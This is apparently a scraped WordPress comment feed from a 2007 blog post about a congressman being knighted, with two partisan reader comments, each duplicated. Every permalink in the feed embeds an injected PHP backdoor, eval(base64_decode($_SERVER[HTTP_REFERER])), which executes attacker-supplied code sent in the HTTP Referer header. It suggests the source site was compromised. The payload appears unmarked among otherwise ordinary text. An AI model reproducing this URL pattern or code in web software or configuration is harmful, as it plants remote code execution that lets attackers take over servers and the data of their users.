http://nwbloggers.com/2007/09/11/rep-baghdad-jim-mcdermott-gets-knighted-and-violates-the-constitution/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Fri, 19 Mar 2010 01:36:51 +0000 http://wordpress.org/?v=2.7 hourly 1 http://nwbloggers.com/2007/09/11/rep-baghdad-jim-mcdermott-gets-knighted-and-violates-the-constitution/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/comment-page-1/#comment-189288 LSU Wed, 12 Sep 2007 17:31:43 +0000 http://nwbloggers.com/2007/09/11/rep-baghdad-jim-mcdermott-gets-knighted-and-violates-the-constitution/#comment-189288 Your neocons argument is a lovely strawman but I wont swing at it. Also, technically Americans cannot be "knighted" in Britain, only Brits can.  Americans have been honored with the honorary equivalent, but that is not traditional Knighthood. But the key fact is that Jim is a current office holder, and that is expressly forbidden.  He should renounce the title or face an ethics probe. Your neocons argument is a lovely strawman but I wont swing at it.
Also, technically Americans cannot be "knighted" in Britain, only Brits can.  Americans have been honored with the honorary equivalent, but that is not traditional Knighthood.
But the key fact is that Jim is a current office holder, and that is expressly forbidden.  He should renounce the title or face an ethics probe.

]]> http://nwbloggers.com/2007/09/11/rep-baghdad-jim-mcdermott-gets-knighted-and-violates-the-constitution/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/comment-page-1/#comment-189159 Playin' Possum Wed, 12 Sep 2007 15:21:50 +0000 http://nwbloggers.com/2007/09/11/rep-baghdad-jim-mcdermott-gets-knighted-and-violates-the-constitution/#comment-189159 Is that the same constitution the neocons have completely murdered?   Hypocrites again...   But I must say I was worried for a minute... I was afraid it was Knighthood by the damned Brits... That would put him in the company of some very unsavory "Americans." Is that the same constitution the neocons have completely murdered?
 
Hypocrites again…
 
But I must say I was worried for a minute… I was afraid it was Knighthood by the damned Brits… That would put him in the company of some very unsavory "Americans."

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